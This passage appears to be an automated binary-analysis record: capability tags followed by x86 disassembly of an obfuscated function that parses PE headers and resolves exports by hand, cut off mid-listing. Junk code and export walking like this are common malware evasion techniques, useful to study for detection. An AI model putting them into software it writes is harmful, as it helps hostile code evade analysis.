Function at 0x1004dbab
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008ca07
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd38
push esi
and dword [ebp - 0x18], 0
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1005346b
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
push 2
lea ecx, [ebp - 0xad8]
call fcn.10018e8a
and dword [ebp - 4], 0
mov dword [ebp - 0x258], 0x57976326
mov dword [ebp - 0x250], 0
jmp 0x1004dc14
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x1004dc33
push dword [ebp - 0x250]
lea ecx, [ebp - 0xad8]
call fcn.10018f28
and dword [eax], 0
jmp 0x1004dc07
mov dword [ebp - 0x258], 1
jmp 0x1004dc4c
mov eax, dword [ebp - 0x258]
dec eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jl 0x1004dc84
mov byte [ebp - 0x8a], 0
movzx eax, byte [ebp - 0x8a]
test eax, eax
je 0x1004dc82
push 0
push 0
push 0x13f8
push 0xe75
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
jmp 0x1004dc3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xad8]
call fcn.10018f0c
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x4dc], eax
mov eax, dword [ebp - 0x4dc]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1004dfbd
push 3
lea ecx, [ebp - 0x90c]
call fcn.10018e8a
mov dword [ebp - 4], 1
mov dword [ebp - 0x2f8], 5
mov dword [ebp - 0xf4], 0x357257ea
mov dword [ebp - 0x2c0], 2
mov dword [ebp - 0x8ec], 0x4c3f4f88
mov dword [ebp - 0x8e8], 0x4c3f4f88
mov dword [ebp - 0x8e4], 0x4c3f4f88
mov dword [ebp - 0x8e0], 0x4c3f4f88
lea ecx, [ebp - 0x2d1]
call fcn.1000a6f3
push eax
lea eax, [ebp - 0x8dc]
push eax
lea eax, [ebp - 0x8ec]
push eax
lea ecx, [ebp - 0xc4c]
call fcn.10018f37
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x954]
call fcn.10018ee6
mov byte [ebp - 4], 2
mov dword [ebp - 0x9e4], 0xbec5
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x99c], 0x43657218
mov dword [ebp - 0x998], 0x43657218
mov dword [ebp - 0x994], 0x43657218
mov dword [ebp - 0x990], 0x43657218
mov dword [ebp - 0x654], 0xef57
mov dword [ebp - 0x65c], 0xffffffff
mov dword [ebp - 0x708], 1
mov dword [ebp - 0x9bc], 0xd38c4615
mov dword [ebp - 0x70], 0
jmp 0x1004ddb7
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x1004ddd0
push dword [ebp - 0x70]
lea ecx, [ebp - 0x90c]
call fcn.10018f28
or dword [eax], 0xffffffff
jmp 0x1004ddb0
mov dword [ebp - 0x70], 0
jmp 0x1004dde0
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x1004ddf6
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x9e0], 0xfffffffc
jmp 0x1004ddd9
mov eax, dword [ebp - 0x2f8]
dec eax
mov dword [ebp - 0x2f8], eax
mov eax, dword [ebp - 0x2e8]
dec eax
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x2e8], eax
jne 0x1004de2a
mov dword [ebp - 0x26c], 1
jmp 0x1004de31
and dword [ebp - 0x26c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x26c]
mov dword [ebp + eax - 0x99c], ecx
cmp dword [ebp - 0x26c], 0
jne 0x1004de9f
push 1
lea ecx, [ebp - 0x954]
call fcn.10018f28
cmp dword [eax], 0
jne 0x1004de6b
mov dword [ebp - 0x448], 1
jmp 0x1004de72
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x654]
neg eax
imul eax, dword [ebp - 0x448]
imul eax, eax, 0x7ffe
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x9e0]
jne 0x1004de9f
and dword [ebp - 0x618], 0
jmp 0x1004dea9
mov dword [ebp - 0x618], 1
cmp dword [ebp - 0x618], 0xffff
jae 0x1004dec1
mov dword [ebp - 0x620], 1
jmp 0x1004dec8
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x620], eax
jle 0x1004dee2
mov dword [ebp - 0x7e8], 1
jmp 0x1004dee9
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x9c4], eax
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x1004df1f
cmp dword [ebp - 0x2c0], 0
je 0x1004df1f
mov dword [ebp - 0x628], 1
jmp 0x1004df26
and dword [ebp - 0x628], 0
push 0
lea ecx, [ebp - 0x90c]
call fcn.10018f28
mov dword [eax], 0x7013dce9
mov eax, dword [ebp - 0x628]
inc eax
imul eax, dword [ebp - 0x654]
cmp eax, 0x7013dce9
jle 0x1004df5a
mov dword [ebp - 0x308], 1
jmp 0x1004df61
and dword [ebp - 0x308], 0
push 0
lea ecx, [ebp - 0x954]
call fcn.10018f28
mov ecx, dword [ebp - 0x308]
mov dword [eax], ecx
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x708], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x954]
call fcn.10018f0c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90c]
call fcn.10018f0c
jmp 0x100534a5
mov dword [ebp - 0x610], 0x464b
mov dword [ebp - 0x730], 0x4c506d44
mov dword [ebp - 0x720], 0x7b1c2a2c
mov dword [ebp - 0x9cc], 0xfffffffb
mov dword [ebp - 0x9d4], 0xfffffffc
mov dword [ebp - 0x658], 0xcf09cc25
mov dword [ebp - 0x728], 0
mov dword [ebp - 0x710], 0xfffffffe
mov dword [ebp - 0x9f0], 0x368a9017
mov dword [ebp - 0x9f8], 0xf298
mov dword [ebp - 0x278], 0
push 3
lea ecx, [ebp - 0x85c]
call fcn.10018e8a
mov dword [ebp - 4], 3
mov dword [ebp - 0x130], 0
jmp 0x1004e058
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jge 0x1004e074
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x2ec], 0xffffffff
jmp 0x1004e04b
push 0
lea eax, [ebp - 0x85c]
push eax
lea eax, [ebp - 0x130]
push eax
push 0x266b
call fcn.1004be75
add esp, 0x10
push 0
push 0x34b9
push 0x3cd2
lea eax, [ebp - 0x278]
push eax
call fcn.1004c2cc
add esp, 0x10
imul eax, dword [ebp - 0x710], 0x2214
test eax, eax
je 0x1004e0cf
mov eax, 0xfff7
test eax, eax
je 0x1004e0cf
mov dword [ebp - 0x664], 1
jmp 0x1004e0d6
and dword [ebp - 0x664], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ec]
cmp dword [ebp - 0x664], eax
jle 0x1004e0f7
mov dword [ebp - 0x66c], 1
jmp 0x1004e0fe
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x66c], eax
jne 0x1004e118
mov dword [ebp - 0x718], 1
jmp 0x1004e11f
and dword [ebp - 0x718], 0
mov dword [ebp - 0x658], 0x6e60be62
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0xa00], eax
push 1
lea ecx, [ebp - 0x85c]
call fcn.10018f28
cmp dword [eax], 0
je 0x1004e154
push 2
lea ecx, [ebp - 0x85c]
call fcn.10018f28
mov eax, dword [ebp - 0x610]
cmp dword [ebp - 0x720], eax
jg 0x1004e16e
mov dword [ebp - 0x634], 1
jmp 0x1004e175
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x728]
cmp dword [ebp - 0x634], eax
jle 0x1004e18f
mov dword [ebp - 0x4d4], 1
jmp 0x1004e196
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x4d4]
jmp 0x1004e1b0
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x610]
cmp dword [ebp - 0x32c], eax
jge 0x1004e1d1
mov dword [ebp - 0x5ac], 1
jmp 0x1004e1d8
and dword [ebp - 0x5ac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ec]
cmp dword [ebp - 0x5ac], eax
jne 0x1004e1f9
mov dword [ebp - 0x334], 1
jmp 0x1004e200
and dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x334]
sub eax, dword [ebp - 0x730]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2ec], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x85c]
call fcn.10018f0c
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [ebp - 0x30]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0x20c], 0xba394643
mov dword [ebp - 0xa08], 0xa622a149
mov dword [ebp - 0xa10], 0x672ca3c0
mov dword [ebp - 0xa18], 8
mov dword [ebp - 0xa20], 0xffffffff
mov dword [ebp - 0xa28], 0xd658edfe
mov dword [ebp - 0xa30], 0x87a7525d
mov dword [ebp - 0xa38], 0x9cf13e13
mov dword [ebp - 0xa40], 0xfffffffa
mov dword [ebp - 0xa48], 0xfffffff9
mov dword [ebp - 0xa50], 0xfffffff7
mov dword [ebp - 0xa58], 0xa165018
mov dword [ebp - 0xa60], 0x28405cef
push 3
lea ecx, [ebp - 0xae8]
call fcn.10018e8a
mov dword [ebp - 4], 4
mov dword [ebp - 0xa68], 1
mov dword [ebp - 0xa70], 0x16488a97
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0xfc], 0
jmp 0x1004e307
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 4
jge 0x1004e323
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0xd44], 3
jmp 0x1004e2fa
push 0x6d01
push 0
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0xae8]
push eax
call fcn.1004c258
add esp, 0x10
mov dword [ebp - 0x20c], 3
jmp 0x1004e359
mov eax, dword [ebp - 0x20c]
dec eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jl 0x1004e3af
mov dword [ebp - 0x738], 0x9609c3fb
push 1
push 0x39b2
push 0x3f7c
lea eax, [ebp - 0x738]
push eax
call fcn.1004be75
add esp, 0x10
mov byte [ebp - 0x86], 0
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x1004e3ad
push 0x4a0
push 1
push 0x1993
call fcn.1004beeb
add esp, 0xc
jmp 0x1004e34c
mov eax, dword [ebp - 0x33c]
dec eax
mov dword [ebp - 0x33c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xae8]
call fcn.10018f0c
mov eax, dword [ebp - 0xb8]
cmp dword [eax], 0x4550
je 0x1004e3de
jmp 0x100534a5
mov dword [ebp - 0x4c], 4
mov dword [ebp - 0x64], 0xa32a17d0
mov dword [ebp - 0xa78], 0x7267
mov dword [ebp - 0x248], 0
jmp 0x1004e40f
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jge 0x1004e42b
mov eax, dword [ebp - 0x248]
mov dword [ebp + eax*4 - 0xa80], 0xffffffff
jmp 0x1004e402
xor eax, eax
jne 0x1004e433
cmp dword [ebp - 0x4c], 0
cmp dword [ebp - 0x64], 0x45ba
jge 0x1004e448
mov dword [ebp - 0x668], 1
jmp 0x1004e44f
and dword [ebp - 0x668], 0
cmp dword [ebp - 0x668], 0x2885
jl 0x1004e467
mov dword [ebp - 0x344], 1
jmp 0x1004e46e
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x344], eax
je 0x1004e484
xor eax, eax
inc eax
jne 0x1004e484
cmp dword [ebp - 0x4c], 0
je 0x1004e494
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x1004e494
and dword [ebp - 0x4e4], 0
jmp 0x1004e49e
mov dword [ebp - 0x4e4], 1
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x4e4], eax
je 0x1004e4b5
mov dword [ebp - 0x740], 1
jmp 0x1004e4bc
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xa88], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xa90], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xa98], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xaa0], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x4c], 0
jmp 0x1004e4f6
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 5
jl 0x1004e8a7
mov dword [ebp - 0x1bc], 0
jmp 0x1004e519
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 4
jge 0x1004e535
mov eax, dword [ebp - 0x1bc]
mov dword [ebp + eax*4 - 0x89c], 0
jmp 0x1004e50c
mov dword [ebp - 0x64], 3
jmp 0x1004e545
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x1004e8a2
push 3
lea ecx, [ebp - 0x768]
call fcn.10018e8a
mov dword [ebp - 4], 5
mov dword [ebp - 0x750], 1
mov dword [ebp - 0x758], 1
mov dword [ebp - 0x834], 0xb5b06a83
lea eax, [ebp - 0xaa8]
push eax
push 0x14fd
push 0
lea eax, [ebp - 0x768]
push eax
push 0xab7
call fcn.1004cae0
add esp, 0x14
push 1
lea ecx, [ebp - 0x768]
call fcn.10018f28
mov dword [eax], 3
jmp 0x1004e5dc
push 1
lea ecx, [ebp - 0x768]
call fcn.10018f28
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x34c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x768]
call fcn.10018f28
cmp dword [eax], 0
jl 0x1004e88e
mov dword [ebp - 0x24c], 8
mov dword [ebp - 0xab0], 0xfffffffc
mov dword [ebp - 0xab8], 0x525ac89d
mov dword [ebp - 0x748], 0xdc32
mov dword [ebp - 0x24c], 0
jmp 0x1004e633
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jg 0x1004e719
mov dword [ebp - 0x1c4], 0x4491d0b6
mov dword [ebp - 0xac0], 0x4db1d70f
mov dword [ebp - 0x1c4], 0
jmp 0x1004e66d
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 3
jg 0x1004e714
mov dword [ebp - 0x134], 0xfffffffb
mov dword [ebp - 0xac8], 0xaa435c52
mov dword [ebp - 0xb54], 0x31364f2c
cmp dword [ebp - 0x134], 0
je 0x1004e6a3
jmp 0x1004e714
mov dword [ebp - 0x134], 0
jmp 0x1004e6bc
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 3
jg 0x1004e70f
mov dword [ebp - 0xb5c], 1
mov dword [ebp - 0xb64], 0
mov dword [ebp - 0xb6c], 1
push 0x182
push 0x4f9c
push 0x5f40
push 0x6793
lea eax, [ebp - 0x748]
push eax
push 0x7405
push 0
call fcn.1004c992
add esp, 0x1c
jmp 0x1004e6af
jmp 0x1004e660
jmp 0x1004e626
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x89c], 0x92e18e6f
jbe 0x1004e738
mov dword [ebp - 0x5b4], 1
jmp 0x1004e73f
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x750]
cmp dword [ebp - 0x5b4], eax
jge 0x1004e759
mov dword [ebp - 0x354], 1
jmp 0x1004e760
and dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x758]
cmp eax, dword [ebp - 0x354]
jl 0x1004e77a
mov dword [ebp - 0x4ec], 1
jmp 0x1004e781
and dword [ebp - 0x4ec], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x89c]
cmp dword [ebp - 0x834], eax
je 0x1004e7a2
mov dword [ebp - 0x35c], 1
jmp 0x1004e7a9
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x4ec]
cmp eax, dword [ebp - 0x35c]
jl 0x1004e7c3
mov dword [ebp - 0x61c], 1
jmp 0x1004e7ca
and dword [ebp - 0x61c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x89c]
cmp dword [ebp - 0x61c], eax
je 0x1004e7f7
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x89c], 0
jne 0x1004e7f7
and dword [ebp - 0x364], 0
jmp 0x1004e801
mov dword [ebp - 0x364], 1
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x364], eax
jge 0x1004e818
mov dword [ebp - 0x4f4], 1
jmp 0x1004e81f
and dword [ebp - 0x4f4], 0
cmp dword [ebp - 0x4f4], 0x7b0
je 0x1004e837
mov dword [ebp - 0x36c], 1
jmp 0x1004e83e
and dword [ebp - 0x36c], 0
cmp dword [ebp - 0x36c], 0
jbe 0x1004e853
mov dword [ebp - 0x5bc], 1
jmp 0x1004e85a
and dword [ebp - 0x5bc], 0
cmp dword [ebp - 0x5bc], 0xffffffff
je 0x1004e86f
mov dword [ebp - 0x374], 1
jmp 0x1004e876
and dword [ebp - 0x374], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x374]
mov dword [ebp + eax - 0x89c], ecx
jmp 0x1004e5b8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x768]
call fcn.10018f0c
jmp 0x1004e53e
jmp 0x1004e4ef
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb8]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
cmp dword [eax + 4], 0
jne 0x1004e8c8
jmp 0x100534a5
mov dword [ebp - 0xb74], 0xfffffff8
mov byte [ebp - 0x88], 0
movzx eax, byte [ebp - 0x88]
test eax, eax
je 0x1004e8f3
push 0
push 0x25fa
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
mov byte [ebp - 0x8b], 0
lea eax, [ebp - 0x8b]
push eax
push 0x178c
push 0
push 0x80
push 0x13a5
call fcn.1004cb6a
add esp, 0x14
and dword [ebp - 0x28], 0
push 3
lea ecx, [ebp - 0xaf8]
call fcn.10018e8a
mov dword [ebp - 4], 6
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x74], 0
jmp 0x1004e94c
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x1004e968
push dword [ebp - 0x74]
lea ecx, [ebp - 0xaf8]
call fcn.10018f28
mov dword [eax], 0x28c1
jmp 0x1004e945
mov dword [ebp - 0x74], 0
jmp 0x1004e978
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x1004e98e
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x4fc], 0x16580849
jmp 0x1004e971
mov dword [ebp - 0x214], 2
jmp 0x1004e9a7
mov eax, dword [ebp - 0x214]
dec eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jl 0x1004e9c3
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4fc], 6
jmp 0x1004e99a
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4fc], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf8]
call fcn.10018f0c
mov eax, dword [ebp - 0xb8]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xb8]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x98], 2
mov dword [ebp - 0xa8], 0xd2250db8
mov dword [ebp - 0x104], 1
mov dword [ebp - 0x7bc], 0x3f9150fa
mov dword [ebp - 0x700], 0xbe8c
mov dword [ebp - 0x1cc], 0
jmp 0x1004ea48
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 2
jge 0x1004ea64
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0x698], 0xfffffff6
jmp 0x1004ea3b
mov dword [ebp - 0x98], 6
jmp 0x1004ea7d
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0xffffffe8
jle 0x1004eac2
mov dword [ebp - 0x83c], 0x380
mov dword [ebp - 0x828], 0x62b000c
push 1
lea eax, [ebp - 0x83c]
push eax
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.1004bf59
add esp, 0x14
jmp 0x1004ea70
mov eax, dword [ebp - 0x104]
sub eax, dword [ebp - 0xa8]
imul eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0xa8]
jle 0x1004eae9
mov dword [ebp - 0x37c], 1
jmp 0x1004eaf0
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0x37c], eax
jle 0x1004eb10
mov eax, 0x4b834283
test eax, eax
jne 0x1004eb10
and dword [ebp - 0x650], 0
jmp 0x1004eb1a
mov dword [ebp - 0x650], 1
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xb7c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x698]
mov dword [ebp - 0xb98], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x698], 0x3b017290
jne 0x1004eb64
mov dword [ebp - 0x384], 1
jmp 0x1004eb6b
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x384], eax
jne 0x1004eb85
mov dword [ebp - 0x504], 1
jmp 0x1004eb8c
and dword [ebp - 0x504], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x698]
cmp dword [ebp - 0x504], eax
jl 0x1004ebad
mov dword [ebp - 0x38c], 1
jmp 0x1004ebb4
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x38c]
jle 0x1004ebce
mov dword [ebp - 0x5c4], 1
jmp 0x1004ebd5
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x5c4], eax
jle 0x1004ebef
mov dword [ebp - 0x394], 1
jmp 0x1004ebf6
and dword [ebp - 0x394], 0
cmp dword [ebp - 0x394], 0xcc7
jg 0x1004ec0e
mov dword [ebp - 0x50c], 1
jmp 0x1004ec15
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x7bc]
sub ecx, dword [ebp - 0x104]
sub eax, ecx
imul ecx, dword [ebp - 0x50c], 0x7a83
cmp eax, ecx
jge 0x1004ec43
mov dword [ebp - 0x39c], 1
jmp 0x1004ec4a
and dword [ebp - 0x39c], 0
cmp dword [ebp - 0x39c], 1
jb 0x1004ec5f
mov dword [ebp - 0x624], 1
jmp 0x1004ec66
and dword [ebp - 0x624], 0
cmp dword [ebp - 0x624], 0xf0b9
je 0x1004ec7e
mov dword [ebp - 0x3a4], 1
jmp 0x1004ec85
and dword [ebp - 0x3a4], 0
cmp dword [ebp - 0x3a4], 0x71c2
je 0x1004ec9d
mov dword [ebp - 0x514], 1
jmp 0x1004eca4
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 1
je 0x1004ecb9
mov dword [ebp - 0x3ac], 1
jmp 0x1004ecc0
and dword [ebp - 0x3ac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x698]
cmp dword [ebp - 0x3ac], eax
jle 0x1004ece1
mov dword [ebp - 0x5cc], 1
jmp 0x1004ece8
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0x700], eax
push 0x2c45
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0xb8]
push eax
push 0x7a45
lea eax, [ebp - 0x28]
push eax
push 0
push 0x3bd9
lea eax, [ebp - 0x1c0]
push eax
push 0x3878
push 0x62e3
call fcn.1004d21c
add esp, 0x28
push 4
lea ecx, [ebp - 0x778]
call fcn.10018e8a
mov dword [ebp - 4], 7
mov dword [ebp - 0x10c], 4
lea eax, [ebp - 0x12c]
push eax
push 0
lea eax, [ebp - 0x778]
push eax
call fcn.1004dab4
add esp, 0xc
mov dword [ebp - 0x12c], 0
jmp 0x1004ed7c
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jge 0x1004ed98
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0xbcc], 0xd78f4f82
jmp 0x1004ed6f
push 1
lea ecx, [ebp - 0x778]
call fcn.10018f28
and dword [eax], 0
jmp 0x1004edce
push 1
lea ecx, [ebp - 0x778]
call fcn.10018f28
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x3b4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x3b4]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x778]
call fcn.10018f28
cmp dword [eax], 0x13
jl 0x1004ef37
mov dword [ebp - 0x1d4], 0
mov dword [ebp - 0x6b4], 0x509c
mov dword [ebp - 0x23c], 0
jmp 0x1004ee11
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 3
jge 0x1004ee2d
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0xbd8], 0xfebfb2c4
jmp 0x1004ee04
cmp dword [ebp - 0x1d4], 0xc80fc3a0
ja 0x1004ee45
mov dword [ebp - 0x51c], 1
jmp 0x1004ee4c
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x1d4]
cmp eax, dword [ebp - 0x51c]
jle 0x1004ee66
mov dword [ebp - 0x3bc], 1
jmp 0x1004ee6d
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x1d4]
cmp eax, dword [ebp - 0x3bc]
jle 0x1004ee87
mov dword [ebp - 0x280], 1
jmp 0x1004ee8e
and dword [ebp - 0x280], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x280]
mov dword [ebp + eax - 0xbcc], ecx
mov eax, dword [ebp - 0x10c]
imul eax, dword [ebp - 0x1d4]
cmp eax, dword [ebp - 0x280]
je 0x1004eec2
mov dword [ebp - 0x2c8], 1
jmp 0x1004eec9
and dword [ebp - 0x2c8], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2c8]
mov dword [ebp + eax - 0xbd8], ecx
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x6b4], eax
mov dword [ebp - 0x10c], 0xc
jmp 0x1004ef00
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jle 0x1004ef32
mov byte [ebp - 0x8d], 0
lea eax, [ebp - 0x8d]
push eax
push 0x1ccd
push 1
push 0x56d5
push 0x7040
call fcn.1004bffe
add esp, 0x14
jmp 0x1004eef3
jmp 0x1004edaa
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x1004ef5d
push 0x6423
push 0x142b
push 0
call fcn.1004c7c2
add esp, 0xc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x778]
call fcn.10018f0c
cmp dword [ebp - 0x28], 0
jne 0x1004ef77
jmp 0x100534a5
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x28]
add ecx, dword [eax]
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x288], 0x7186
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xb4], 0x64ba8b35
push 3
lea ecx, [ebp - 0x93c]
call fcn.10018e8a
mov dword [ebp - 4], 8
mov dword [ebp - 0x81c], 1
mov dword [ebp - 0x120], 0
jmp 0x1004efda
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 4
jge 0x1004eff6
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0xb90], 0xb39523dd
jmp 0x1004efcd
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x93c]
push eax
push 0
push 0x1824
push 0x3982
call fcn.1004c899
add esp, 0x14
mov eax, dword [ebp - 0x288]
